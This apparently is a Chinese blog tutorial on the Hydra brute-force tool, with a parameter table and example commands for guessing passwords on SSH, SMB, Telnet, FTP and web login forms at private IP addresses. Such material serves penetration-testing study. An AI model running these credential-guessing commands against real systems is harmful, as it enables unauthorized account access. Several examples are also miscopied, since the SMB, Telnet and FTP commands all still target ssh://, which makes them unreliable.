欢迎来到我的博客!

Hydra

Hydra

是一款暴力破解的自动化的爆破工具,暴力破解密码,支持多种协议 POP3,SMB,RDP,SSH,FTP,POP3,Telnet,MYSQL...(举例一些常用的服务)

参数

参数 说明
-l 直接指定账号
-L 指定账号字典
-p 直接指定密码
-P 指定密码字典
-c 当用户名和密码存储到一个文件时使用此参数【文件(字典)存储的格式必须为 "用户名:密码" 的格式】
-M 指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)【列表文件存储格式必须为 "地址:端口"】
-t 线程【默认16】
-e ns n:空密码试探,s:使用指定用户和密码试探。
-s 指定服务单不是对应的端口【8877端口开放着http服务】
-S 指定爆破时使用SSL链接
-v/-V 显示详细的爆破信息
-f 爆破成功就停止
-o 指定输出结果文件
service 攻击目标的服务类型(可以理解为爆破时使用的协议),例如 http ,在hydra中,不同协议会使用不同的模块来爆破,hydra 的 http-get 和 http-post 模块就用来爆破基于 get 和 post 请求的页面
OPT 爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get

案例

  1. 破解ssh

    hydra -L /tools/字典/ssh/user.txt -P /tools/字典/ssh/passwd.txt ssh://192.168.31.155 -vV -f

  2. 破解smb

    hydra -L /tools/字典/smb/user.txt -P /tools/字典/smb/passwd.txt ssh://192.168.31.155 -vV -f

  3. 破解telnet

    hydra -L /tools/字典/telent/user.txt -P /tools/字典/telent/passwd.txt ssh://192.168.31.155 -vV -f

  4. 破解tfp

    hydra -L /tools/字典/ftp/user.txt -P /tools/字典/ftp/passwd.txt ssh://192.168.31.155 -vV -f

  5. get方式提交,破解web登录

    hydra -l admin -P /tools/字典/web/passwd.txt -t 线程 -vV -e ns 192.168.31.155 http-get /admin/

    hydra -l admin -P /tools/字典/web/passwd.txt -t 线程 -vV -e ns 192.168.31.155 http-get /admin/index.php

  6. post方式提交,破解web登录

    hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=USER&password=PASS&submit=login:sorry password"

    hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=USER&passwd=PASS:wrong username or password"

  • (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,:后的内容是表示错误猜解的返回信息提示)
posted @   余星酒  阅读(387)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示